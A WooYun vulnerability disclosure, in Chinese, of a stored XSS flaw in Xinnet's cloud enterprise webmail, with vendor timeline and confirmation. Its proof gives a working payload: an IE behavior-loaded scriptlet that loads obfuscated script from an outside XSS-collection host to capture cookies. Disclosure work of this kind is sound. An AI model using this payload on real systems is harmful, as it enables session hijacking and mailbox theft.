当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2013-023248

漏洞标题：新网云邮又一个存储型XSS（利用技巧）

相关厂商：北京新网互联科技有限公司

漏洞作者： HuGtion

提交时间：2013-05-08 10:51

修复时间：2013-06-22 10:52

公开时间：2013-06-22 10:52

漏洞类型：xss跨站脚本攻击

危害等级：低

自评Rank：5

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2013-05-08： 细节已通知厂商并且等待厂商处理中
2013-05-10： 厂商已经确认，细节仅向厂商公开
2013-05-20： 细节向核心白帽子及相关领域专家公开
2013-05-30： 细节向普通白帽子公开
2013-06-09： 细节向实习白帽子公开
2013-06-22： 细节向公众公开

简要描述：

云邮是新网互联自主研发的第二代企业邮箱系统；在兼具第一代企业邮箱以“域名邮箱”为核心特征及系列功能的同时，融入了统一通信概念和技术，集成邮件、短信、传真、语音、视频、即时通信等多种通信方式，支持PC、手机等多种终端设备的使用，使得企业邮箱服务进入一个新的时代。

详细说明：

和 这个一样：http://wooyun.org/bugs/wooyun-2013-021270
企业邮箱啊 该有多少机密文件

漏洞证明：

代码：

<x style="behavior:url(test.sct)"></x>


test.sct代码：

<SCRIPTLET>
<IMPLEMENTS Type="Behavior"></IMPLEMENTS>
<SCRIPT Language="javascript">
alert(1);
(function(){window.s=document.createElement(String.fromCharCode(115,99,114,105,112,116));window.s.src=String.fromCharCode(
104,116,116,112,58,47,47,120,115,115,46,116,119,47,49,48,53,50);document.body.appendChild(window.s)})();
</SCRIPT>
</SCRIPTLET>


上传一个附件test.sct；地址是：

http://mail.***.cn/webmail/cgijson/mailattach.php?file_name=test.sct&file_size=136&content_type=application%2Foctet-stream&attinfo=4-1693-1874-base64&mid=1367929065.56558.mx21.dns.com.cn%2CS%3D1925%40new&fid=new


发邮件插入代码：

<x style="behavior:url(http://mail.***.cn/webmail/cgijson/mailattach.php?file_name=test.sct&file_size=136&content_type=application%2Foctet-stream&attinfo=4-1693-1874-base64&mid=1367929065.56558.mx21.dns.com.cn%2CS%3D1925%40new&fid=new)"></x>


IE浏览器打开邮件就触发了：

1.jpg


Cookie：

2.jpg


修复方案：

：）

版权声明：转载请注明来源 HuGtion@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：10

确认时间：2013-05-10 16:38

厂商回复：

谢谢提醒，目前正在核查处理中

最新状态：

暂无